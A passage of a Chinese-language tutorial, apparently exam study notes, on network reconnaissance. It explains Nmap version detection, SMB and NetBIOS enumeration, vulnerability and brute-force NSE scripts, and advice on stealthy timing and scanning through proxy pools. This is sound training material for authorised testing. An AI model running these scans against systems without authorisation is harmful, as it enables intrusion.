&lt;p&gt;&lt;strong&gt;&lt;code&gt;-sV&lt;/code&gt;&lt;/strong&gt;: (版本探测) 的核心参数。Nmap 尝试连接指定端口，分析响应，并与已知服务指纹数据库比较，&lt;strong&gt;推断服务名称(如 &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;http&lt;/code&gt;, &lt;code&gt;ftp&lt;/code&gt;)和版本号(如 &lt;code&gt;OpenSSH 8.9p1&lt;/code&gt;)&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-p &amp;lt;ports&amp;gt;&lt;/code&gt;&lt;/strong&gt;: 指定要探测版本的端口，这里是 21,22,23。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;替代/相关参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-A&lt;/code&gt; (强力扫描): &lt;strong&gt;包含 &lt;code&gt;-sV&lt;/code&gt; 和 &lt;code&gt;-O&lt;/code&gt; (操作系统检测)，以及一些脚本扫描(&lt;code&gt;-sC&lt;/code&gt;)&lt;/strong&gt;。提供更全面的信息，但耗时更长、动静更大。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sC&lt;/code&gt; (脚本扫描): &lt;strong&gt;使用默认的 NSE 脚本集进行更深入的探测&lt;/strong&gt;。脚本可以提供更具体的应用信息、安全漏洞检查(&lt;code&gt;vuln&lt;/code&gt; 类别)、服务枚举(&lt;code&gt;discovery&lt;/code&gt; 类别)等。常与 &lt;code&gt;-sV&lt;/code&gt; 结合使用 (&lt;code&gt;-sC -sV&lt;/code&gt; 或 &lt;code&gt;-A&lt;/code&gt;)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; --script=&amp;lt;script&amp;gt; | &amp;lt;category&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;指定运行特定的 NSE 脚本或脚本类别。提供极高的灵活性，如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=http-enum&lt;/code&gt; (枚举常见 Web 目录)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=ftp-anon&lt;/code&gt; (检查 FTP 匿名登录)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=smb-vuln*&lt;/code&gt; (检查 SMB 漏洞)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=vuln&lt;/code&gt; (运行所有安全漏洞检查类脚本)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=banner&lt;/code&gt; (获取简单的 banner 信息，比 &lt;code&gt;-sV&lt;/code&gt; 更轻量)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--version-intensity &amp;lt;level&amp;gt;&lt;/code&gt;: (0-9) 控制 &lt;code&gt;-sV&lt;/code&gt; 探测的强度。0 最弱最快（仅尝试最简单直接的探测），9 最强最慢（尝试所有探测）。默认是 7。在需要快速扫描或扫描已知服务时可调低。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--version-light&lt;/code&gt;: 等同于 &lt;code&gt;--version-intensity 2&lt;/code&gt;。更快但准确性略低的轻量级版本探测。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--version-all&lt;/code&gt;: 等同于 &lt;code&gt;--version-intensity 9&lt;/code&gt;。最彻底但也最慢。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-O&lt;/code&gt; (操作系统检测): &lt;strong&gt;尝试检测目标主机的操作系统&lt;/strong&gt;。需要管理员/ROOT权限 (&lt;code&gt;sudo&lt;/code&gt;)。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;重要用法与技巧总结：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;命令组合：&lt;/strong&gt; 可以将多个步骤合并成一条命令，提高效率：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一步到位扫主机+端口：&lt;/strong&gt; &lt;code&gt;sudo nmap -sn -p- --open 192.168.1.0/24&lt;/code&gt; (不推荐，主机发现后每个主机都扫全端口太耗时，适合小网络或有目标主机范围)。更常见的是先扫主机 (&lt;code&gt;-sn&lt;/code&gt;)，然后对发现的单个或少量主机扫端口 (&lt;code&gt;-p- --open&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一步到位扫端口+版本：&lt;/strong&gt; &lt;code&gt;sudo nmap -p- --open -sV 192.168.1.1&lt;/code&gt; (最常用组合之一：扫描所有开放端口并检测服务版本)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一步到位全面扫描：&lt;/strong&gt; &lt;code&gt;sudo nmap -sV -sC -O --open -p- 192.168.1.1&lt;/code&gt; (相当于 &lt;code&gt;-A&lt;/code&gt; 加上 &lt;code&gt;-p-&lt;/code&gt; 和 &lt;code&gt;--open&lt;/code&gt;，非常全面但动静大、时间长)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出结果：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-oN &amp;lt;filename&amp;gt;&lt;/code&gt;: 输出结果到普通文本文件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-oX &amp;lt;filename&amp;gt;&lt;/code&gt;: 输出结果到 XML 文件 (便于解析和处理)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-oG &amp;lt;filename&amp;gt;&lt;/code&gt;: 输出结果到“Grepable”格式 (旧格式，不太推荐用，但便于快速命令行过滤)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt; / &lt;code&gt;-vv&lt;/code&gt;: 增加输出的详细程度，显示更多扫描过程信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能与隐秘性 (考试尤其注意！)：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-T&amp;lt;0-5&amp;gt;&lt;/code&gt;: &lt;strong&gt;时序模板&lt;/strong&gt;。控制扫描速度/攻击性。&lt;code&gt;-T0&lt;/code&gt; (偏执级，极慢极隐蔽) 到 &lt;code&gt;-T5&lt;/code&gt; (疯狂级，极快极明显)。&lt;strong&gt;考试常用 &lt;code&gt;-T4&lt;/code&gt; (激进级，速度较快，默认是 &lt;code&gt;-T3&lt;/code&gt; 正常级)&lt;/strong&gt;。避免太慢导致任务无法完成。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--min-rate &amp;lt;number&amp;gt;&lt;/code&gt;, &lt;code&gt;--max-rate &amp;lt;number&amp;gt;&lt;/code&gt;: 精确控制每秒发送包的最小/最大值。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--max-parallelism &amp;lt;number&amp;gt;&lt;/code&gt;: 控制最大并发探针数量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;/code&gt; (No Ping): &lt;strong&gt;将所有主机视为在线，跳过主机发现阶段直接扫描端口&lt;/strong&gt;。在已知主机在线或目标防火墙禁用了 PING 响应时使用（在渗透测试扫描中很常用）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt; (No DNS resolution): 不进行 DNS 反向解析，加快速度。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="端口服务探测方法的比较与考试建议"&gt;端口服务探测方法的比较与考试建议
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Nmap (&lt;code&gt;-sV&lt;/code&gt;) 的优势与原理：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心方法：&lt;/strong&gt; 主要通过发送特定的网络层探测包（例如 TCP SYN、ACK 等）并分析响应（包括 Banner、协议行为、服务指纹特征）来识别服务。&lt;/li&gt;
&lt;li&gt;准确性：
&lt;ul&gt;
&lt;li&gt;在常见服务识别上&lt;strong&gt;非常准确&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;特别适用于&lt;strong&gt;网络层&lt;/strong&gt;的判断（端口状态、协议、基础服务识别）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制：&lt;/strong&gt; 探测深度主要停留在&lt;strong&gt;网络层/传输层&lt;/strong&gt;，缺乏对复杂&lt;strong&gt;应用层协议逻辑&lt;/strong&gt;的深入交互测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提高精度：MSF 模块的应用&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; Metasploit (MSF) 框架提供专门的服务扫描模块。这些模块会模拟客户端行为，发送特定于应用层协议（如 HTTP、FTP、SMB 等）的合法或试探性请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优势：&lt;/strong&gt; 由于深入到了&lt;strong&gt;应用层交互&lt;/strong&gt;，探测结果通常比 Nmap &lt;code&gt;-sV&lt;/code&gt; 的&lt;strong&gt;精度更高&lt;/strong&gt;、&lt;strong&gt;信息更详细&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适用场景：&lt;/strong&gt; 需要极高精度判断服务及版本时。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;考试环境的关键考量：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MSF 的使用限制：&lt;/strong&gt; 考试通常&lt;strong&gt;禁止或严格限制&lt;/strong&gt;使用 MSF 或类似的渗透测试框架（即使仅用于信息收集扫描）。&lt;/li&gt;
&lt;li&gt;Nmap 的适用性：
&lt;ul&gt;
&lt;li&gt;考试环境下，&lt;strong&gt;Nmap (&lt;code&gt;-sV&lt;/code&gt;) 足以满足需求&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因1：&lt;/strong&gt; 其准确性在考试要求范围内&lt;strong&gt;有保障&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因2：&lt;/strong&gt; 考试“靶机”&lt;strong&gt;通常不对 Nmap 探测做特别复杂的屏蔽或干扰&lt;/strong&gt;（不像真实环境可能配置 IDS/IPS 或修改服务响应）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流量控制：&lt;/strong&gt; 务必注意扫描时的&lt;strong&gt;流量大小&lt;/strong&gt;，避免触发目标系统的安全机制或对网络造成过大负载。&lt;strong&gt;强烈建议使用代理或代理池&lt;/strong&gt;进行扫描（尤其在模拟生产环境或有流量监控的场景）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="重要原则与警示"&gt;重要原则与警示
&lt;/h3&gt;&lt;p&gt;破除端口固化思维：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;端口号 ≠ 服务类型：&lt;/strong&gt; 管理员可以自定义端口（如 FTP 不一定在 21，SSH 不一定在 22）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例:&lt;/strong&gt; 80 端口上未必是 Web 服务 (HTTP/HTTPS)，也可能运行 FTP、SSH 或其他任何服务。技术上是完全可行的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论： 绝不能仅凭端口号默认推断服务！&lt;/strong&gt; 必须依赖扫描工具的结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="核心结论针对考试"&gt;核心结论（针对考试）
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;首选工具：&lt;/strong&gt; Nmap (特别是 &lt;code&gt;-sV&lt;/code&gt; 参数)。&lt;/p&gt;
&lt;p&gt;原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;满足考试对服务识别的精度要求。&lt;/li&gt;
&lt;li&gt;易用且可靠。&lt;/li&gt;
&lt;li&gt;考试靶机环境对其友好，不易被阻碍。&lt;/li&gt;
&lt;li&gt;避免使用受限的 MSF。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键注意事项：&lt;/strong&gt; &lt;strong&gt;始终注意控制扫描流量&lt;/strong&gt;，建议通过代理执行扫描任务。&lt;/p&gt;
&lt;h2 id="smb枚举"&gt;SMB枚举
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;什么是 SMB？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMB（Server Message Block）&lt;/strong&gt;，也称为 &lt;strong&gt;CIFS（Common Internet File System）&lt;/strong&gt;，是一种&lt;strong&gt;网络文件共享协议&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主要功能：&lt;/strong&gt; 允许网络中的计算机（客户端）访问服务器上的共享资源，如文件、打印机、串行端口等，以及执行远程管理任务。&lt;/li&gt;
&lt;li&gt;广泛应用：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows 核心服务：&lt;/strong&gt; 是 Windows 域环境、文件服务器、打印服务器的&lt;strong&gt;基础通信协议&lt;/strong&gt;。Windows 系统默认会启用 SMB 服务并开放相关端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他系统支持：&lt;/strong&gt; Linux 和 macOS 也提供了 Samba 软件或原生支持来充当 SMB 服务器或客户端，以实现与 Windows 系统的互操作性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;安全性历史：
&lt;ul&gt;
&lt;li&gt;协议实现复杂且本身具有一定开放性，导致历史上存在&lt;strong&gt;大量高危漏洞&lt;/strong&gt;（例如著名的 EternalBlue / MS17-010）。&lt;/li&gt;
&lt;li&gt;早期系统（如 Windows 2000/XP）曾存在&lt;strong&gt;无需身份验证的“空会话”安全漏洞&lt;/strong&gt;（允许匿名访问）。&lt;/li&gt;
&lt;li&gt;随着时间推移，虽然进行了多次安全加固和补丁更新，但因其广泛部署和协议本身的复杂性，SMB 仍然是&lt;strong&gt;渗透测试和安全扫描的重点目标&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SMB 通常开放哪些端口？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TCP 139:&lt;/strong&gt; 该端口用于在 &lt;strong&gt;NetBIOS over TCP/IP (NetBT)&lt;/strong&gt; 上运行的旧版 SMB 通信。这是早期 Windows 系统实现网络共享的方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP 445:&lt;/strong&gt; &lt;strong&gt;现代 SMB 协议使用的端口&lt;/strong&gt;。它直接在 TCP 上运行，不再依赖 NetBIOS。&lt;strong&gt;这是目前 Windows（Vista 及之后）和 Linux (Samba) 上 SMB 服务的主要端口&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;关键点：
&lt;ul&gt;
&lt;li&gt;在较新的 Windows 系统（Vista+）上，&lt;strong&gt;TCP 445 是主要的 SMB 端口&lt;/strong&gt;，TCP 139 有时可能出于兼容性而开启。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;仅看到 TCP 139/445 开放，即可高度怀疑主机上运行着 SMB 服务&lt;/strong&gt;（无论是 Windows 还是 Linux/Samba）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如何使用 Nmap 扫描发现 SMB？&lt;/strong&gt;
识别 SMB 服务通常是你描述的“信息收集链条”中的一环（IP发现 -&amp;gt; 端口发现 -&amp;gt; 服务识别/版本确认 -&amp;gt; 漏洞探测）。针对 SMB 的具体扫描方法如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基本端口扫描确认：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p139,445 --open &amp;lt;target_ip_or_range&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-p139,445&lt;/code&gt;: 明确扫描这两个 SMB 相关端口。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--open&lt;/code&gt;: 仅显示状态为 &lt;code&gt;open&lt;/code&gt; 的端口，过滤掉关闭或过滤的端口。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此命令会告诉你目标主机上 139 和 445 端口是否开放。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250708205531129" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/25809ab601b18076b406a3460819644b.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务/版本探测（基本确认 SMB）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p139,445 -sV &amp;lt;target_ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;: 启用版本探测功能。Nmap 会尝试连接这些端口，分析响应特征并匹配其服务指纹数据库。&lt;/li&gt;
&lt;li&gt;输出结果中，如果端口对应服务是 SMB，你会看到类似 &lt;code&gt;microsoft-ds?&lt;/code&gt; (445), &lt;code&gt;netbios-ssn?&lt;/code&gt; (139) 的初步信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nmap 的 &lt;code&gt;-sV&lt;/code&gt; 指纹识别非常准确，看到开放的 139/445 端口且 &lt;code&gt;-sV&lt;/code&gt; 识别出 &lt;code&gt;msrpc&lt;/code&gt;, &lt;code&gt;netbios-ssn&lt;/code&gt;, &lt;code&gt;microsoft-ds&lt;/code&gt;, &lt;code&gt;smb&lt;/code&gt; 等服务名，即可基本确认是 SMB。&lt;/strong&gt; &lt;code&gt;-sV&lt;/code&gt; 通常也能识别出&lt;strong&gt;操作系统类型&lt;/strong&gt;（Windows/Linux）和&lt;strong&gt;Samba的版本号&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;更深入的探测（强力扫描/Aggressive Scan）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p139,445 -A &amp;lt;target_ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt; -A&lt;/code&gt; : 这是一个“强力”选项组合，等价于 &lt;code&gt;-sV -sC -O --traceroute&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;: 服务版本探测。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sC&lt;/code&gt;: 运行默认的 &lt;strong&gt;Nmap 脚本引擎（NSE）脚本&lt;/strong&gt;进行扫描。对于 SMB 端口，默认脚本会尝试获取&lt;strong&gt;更多的信息&lt;/strong&gt;，如主机名（&lt;code&gt;smb-os-discovery.nse&lt;/code&gt;）、域信息、共享列表枚举（&lt;code&gt;smb-enum-shares.nse&lt;/code&gt;）等。它会&lt;strong&gt;自动调用一系列与 SMB 相关的安全、发现类脚本&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-O&lt;/code&gt;: 进行操作系统检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这是&lt;strong&gt;一站式信息收集&lt;/strong&gt;的方式，提供关于 SMB 服务、主机操作系统及其配置&lt;strong&gt;最丰富的细节&lt;/strong&gt;（包括通过脚本获得的共享名等信息），但扫描&lt;strong&gt;速度较慢且产生的网络流量/噪音更大&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;针对性 SMB 脚本扫描（灵活性最高）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p445 --script smb-* &amp;lt;target_ip&amp;gt; # 运行所有名字以&amp;#34;smb-&amp;#34;开头的脚本（小心，很多！）
sudo nmap -p445 --script=&amp;#34;smb-os-discovery,smb-enum-shares,smb-vuln-*&amp;#34; &amp;lt;target_ip&amp;gt; # 更精准的选择
sudo nmap -p445 --script smb-protocols &amp;lt;target_ip&amp;gt; # 查询支持的SMB协议版本
sudo nmap -p445 --script &amp;#34;vuln and safe&amp;#34; &amp;lt;target_ip&amp;gt; # 运行所有标记为&amp;#34;vuln&amp;#34;(漏洞)和&amp;#34;safe&amp;#34;(不入侵)类别的脚本进行安全检查
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=&amp;lt;script_names&amp;gt;&lt;/code&gt;: 核心参数，允许&lt;strong&gt;精准指定要运行的 NSE 脚本&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于 SMB，有大量预装的&lt;code&gt;smb-*&lt;/code&gt;脚本可用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信息枚举脚本：&lt;/strong&gt; &lt;code&gt;smb-os-discovery&lt;/code&gt; (操作系统/主机名/域), &lt;code&gt;smb-enum-shares&lt;/code&gt; (列出共享), &lt;code&gt;smb-enum-users&lt;/code&gt; (尝试枚举用户), &lt;code&gt;smb-system-info&lt;/code&gt; (更多系统信息), &lt;code&gt;smb-protocols&lt;/code&gt; (支持的 SMB 协议版本)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安全检查/漏洞扫描脚本：&lt;/strong&gt; &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; (永恒之蓝检查), &lt;code&gt;smb-vuln-cve2009-3103&lt;/code&gt;, &lt;code&gt;smb-vuln-*&lt;/code&gt; (针对各种 SMB 漏洞)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证相关脚本：&lt;/strong&gt; &lt;code&gt;smb-brute&lt;/code&gt; (尝试暴力破解), &lt;code&gt;smb-enum-sessions&lt;/code&gt; (列出活动会话 - 需认证)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用特定脚本可以提供&lt;strong&gt;最精确、最定制化的信息&lt;/strong&gt;，尤其是进行&lt;strong&gt;漏洞关联&lt;/strong&gt;（根据端口扫描得到的 SMB 版本信息，针对性运行对应的 &lt;code&gt;smb-vuln-*&lt;/code&gt; 脚本检查已知漏洞）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="netbios服务"&gt;NetBIOS服务
&lt;/h2&gt;&lt;h3 id="一核心协议与端口"&gt;&lt;strong&gt;一、核心协议与端口&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;协议/服务&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;传输层&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;端口&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;功能&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;NetBIOS&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;139&lt;/td&gt;
 &lt;td&gt;会话服务（主机间通信优化）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;td&gt;UDP&lt;/td&gt;
 &lt;td&gt;137&lt;/td&gt;
 &lt;td&gt;名称服务（主机名解析）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;td&gt;UDP&lt;/td&gt;
 &lt;td&gt;138&lt;/td&gt;
 &lt;td&gt;数据报服务（广播通信）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;SMB&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;445&lt;/td&gt;
 &lt;td&gt;文件/打印共享（现代独立协议）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;关键关系&lt;/strong&gt;：
现代 SMB（445/TCP）可脱离 NetBIOS 运行，但为兼容旧系统（如 Win NT），​&lt;strong&gt;​NBT（NetBIOS over TCP/IP）​&lt;/strong&gt;​ 常与 SMB 协同工作（139+445 共存）。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="二扫描场景与工具"&gt;&lt;strong&gt;二、扫描场景与工具&lt;/strong&gt;
&lt;/h3&gt;&lt;h3 id="1-端口扫描nmap"&gt;1. &lt;strong&gt;端口扫描（nmap）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：探测 139/445 端口状态
​&lt;strong&gt;​命令​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -v -p139,445 -oG smb.txt 192.168.1.1-254
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;作用&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-v&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;详细输出（显示实时进展）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-p139,445&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;指定扫描端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-oG smb.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;输出可处理格式（Grepable）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;192.168.1.1-254&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;C 段 IP 扫描范围&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;输出分析&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Open&lt;/code&gt;：服务活跃（可能存在漏洞）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Filtered&lt;/code&gt;：防火墙阻断（需绕过）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-netbios-名称枚举nbtscan"&gt;2. &lt;strong&gt;NetBIOS 名称枚举（nbtscan）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：通过 UDP 137 端口获取主机 NetBIOS 名称表
​&lt;strong&gt;​命令​&lt;/strong&gt;​：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo nbtscan -r 10.11.1.0/24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;作用&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-r&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;使用 UDP 137 查询名称服务&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;10.11.1.0/24&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;扫描网段&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;sudo&lt;/code&gt;&lt;/td&gt;
